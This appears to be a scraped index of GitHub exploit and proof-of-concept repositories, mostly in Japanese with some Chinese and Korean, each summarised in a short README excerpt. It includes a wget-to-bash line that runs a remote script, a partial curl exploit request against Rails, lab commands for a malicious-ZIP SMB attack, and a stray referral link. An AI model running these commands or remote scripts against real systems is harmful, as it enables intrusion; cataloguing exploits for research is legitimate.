RootPipe-Demo

RootPipe-Demo これは、Emil Kvarnhammar氏（TrueSec）によって特定されたRootPipe権限昇格の脆弱性（CVE-2015-1130）を実証するProof-of-Concept Macアプリケーションです。 このデモはObjective-Cで書かれており、Python PoCから移植されました：RootPipe 使用方法 使用方法：権限を昇格させたいファイルのパスを指定し、そのファイルを権限昇格後にコピーする先のパスを指定し、権限を8進数形式（例：04777）で指定し、オプションでファイルの所有者名とグループを指定します。 対応OS Mac OS X...

CVE-2019-14974-bypass

このリポジトリには README がありません。...

CVE-2020-0796-SMB

CVE-2020-0796-SMB このリソースはCVE-2020-0796脆弱性の再現で、Python版とC++版を含みます。主にGitHubの達人たちのリソースを集めたものです。お楽しみいただければ幸いです〜 C++ Python EXP POC 脆弱性の悪用： ローカルEXP権限昇格：https://github.com/danigargu/CVE-2020-0796 ローカルEXE権限昇格: https://github.com/f1tz/CVE-2020-0796-LPE-EXP POC版権限昇格：...

Ruby-On-Rails-Path-Traversal-Vulnerability-CVE-2018-3760-

Ruby On Rails パストラバーサルの脆弱性（CVE-2018-3760） 中国語版（Chinese version） Ruby On Rails はよく知られた Ruby Web 開発フレームワークであり、開発環境では Sprockets を静的ファイルサーバーとして使用します。Sprockets は静的リソースファイルをコンパイルおよび配布する Ruby ライブラリです。 Sprockets 3.7.1 およびそれ以前のバージョンには、二次デコードによるパストラバーサルの脆弱性があります。攻撃者は %252e%252e/...

codesnippets_CVE-2020-8417

このリポジトリには README がありません。...

platform_frameworks_base_CVE-2023-21288

このリポジトリには README がありません。...

libhwbinder_AOSP10_r33_CVE-2020-0136

このリポジトリには README がありません。...

cve-2018-11776

CVE-2018-11776 これはCvedの一部です: 脆弱なDockerコンテナを管理するためのツール。 Cved: https://github.com/git-rep-src/cved イメージソース: https://github.com/cved-sources/cve-2018-11776 イメージ作者: https://github.com/knqyf263/CVE-2018-11776...

CVE-2008-1613

CVE-2008-1613...

CVE-2025-31486-PoC

免責事項： 本稿で説明する脆弱性およびその再現手順は、サイバーセキュリティ研究および教育目的のみを対象としています。本稿の情報を不正な目的や無許可のシステムテストに使用することはできません。著者は、本稿の情報を使用したことによる直接的または間接的な損害について一切の責任を負いません。もし著作権侵害などがございましたら、速やかにご連絡ください。速やかに対処し、関連コンテンツを削除いたします。 その他の脆弱性 https://pc.fenchuan8.com//index?forum=101158&yqm=DGR4X 再現アドレス...

CVE-2021-3156

Baron Samedit - Sudo CVE 2021-3156 PoC BASHおよびCで記述されています。 作成者: TheFlash2k/Ali Taqi Wajid 使用方法: root@kitploit: This would spawn a root shell directly if the sudo is vulnerable. $ make $ ./exploit...

SmarterMail-CVE-2026-24423

SmarterMail ConnectToHub RCE 一个基于 Python 的 CVE-2026-24423 漏洞利用工具，该漏洞是 SmarterTools SmarterMail 的 ConnectToHub 功能中存在的一个未认证远程代码执行漏洞。 预期用途： 仅限授权的安全测试、CTF、Hack The Box 实验室以及受控研究环境。 目录 概述 CVE 详情 受影响版本 漏洞描述 技术细节 利用流程 环境要求 配置 使用方法 预期输出 故障排除 截图 项目结构 缓解措施 参考资料 免责声明 概述 CVE-2026-24423 是影响 SmarterTools...

log4j-scanner

log4j-scanner CVE-2021-44228 の脆弱性を確認します このテストは100%信頼できるわけではありませんが、迅速なスキャンに役立ちます 使い方: root@kitploit: wget https://raw.githubusercontent.com/codiobert/log4j-scanner/main/log4j-scanner.sh -q -O - |bash...

CVE-2025-0087-

CVE-2025-0087- CVE-2025-0087 完整提权 PoC...

tfo-connect-bypass

使用 TCP Fast Open 绕过基于 connect 的系统调用规则（CVE-2026-63828 PoC） TCP Fast Open（TFO）是一种初始化 TCP 连接的方法，客户端可以在发送给服务器的初始 SYN 数据包中携带数据。这有利于提升速度，因为可以跳过初始 TCP 握手过程中的往返通信。如果你打算在生产环境中使用它，实现细节还有很多值得关注的地方，但它在规避某些基于系统调用的规则引擎时非常有用，因为它是无需显式使用 connect 系统调用即可打开 TCP 连接的方式之一。 从系统调用的角度来看，一个基本的 TCP 连接通常如下所示： root@kitploit:...

dh-CVE_2016_2098

== README Proof of concept for https://groups.google.com/forum/!topic/rubyonrails-security/ly-IH-fxrQ == 悪用方法: 1. 悪用されないようにするため、確実に安全な方法でのみ Rails サーバーを起動してください。 2. rails s を実行します。 3. 以下のコマンドを実行します。 curl -v -H "Accept: application/json" -H "Content-type: application/json" -X GET -d ' "id" : "inlin...

CVE-2023-36845

Juniper CVE:2023-36845 자동화 - Asbawy 제작 - Ak1t4 수정 개요 CVE-2023-36845 취약점을 확인하기 위해 설계된 bash 스크립트입니다. 이 스크립트는 Juniper URL 주소 목록을 처리하고, 각 주소에 요청을 보내며, 응답에 기반하여 시스템이 취약한지 여부를 결정합니다. 사용법 스크립트를 사용하려면 다음 옵션과 함께 명령줄에서 실행하십시오: ./exploit.sh -f urls.txt 작성자: Asbawy...

CVE-2025-9974

CVE-2025-9974 针对影响诺基亚 Beacon 路由器的 CVE-2025-9974 的概念验证代码。...

CVE-2025-24071-POC

sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP作成: try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated...

OsirisJailbreak12

OsirisJailbreak12 iOS 12.0 - 12.1.2 不完全な脱獄ツール（CVE-2019-6225使用） 不完全なiOS 12脱獄ツールです。現時点では、エクスプロイトの実行、tfp0の取得、ROOT権限の取得、サンドボックスの脱出、サンドボックス脱出を証明するテストファイルの書き込み、そしてリブート（respring）までを行います。GPLv3ライセンスを尊重する限り、自由に拡張してください。 現時点では4Kデバイスはサポートされていません。A12およびその他の16Kデバイスはサポートされています。 開発者向け脱獄ツール！一般公開用ではありません デモ動画：...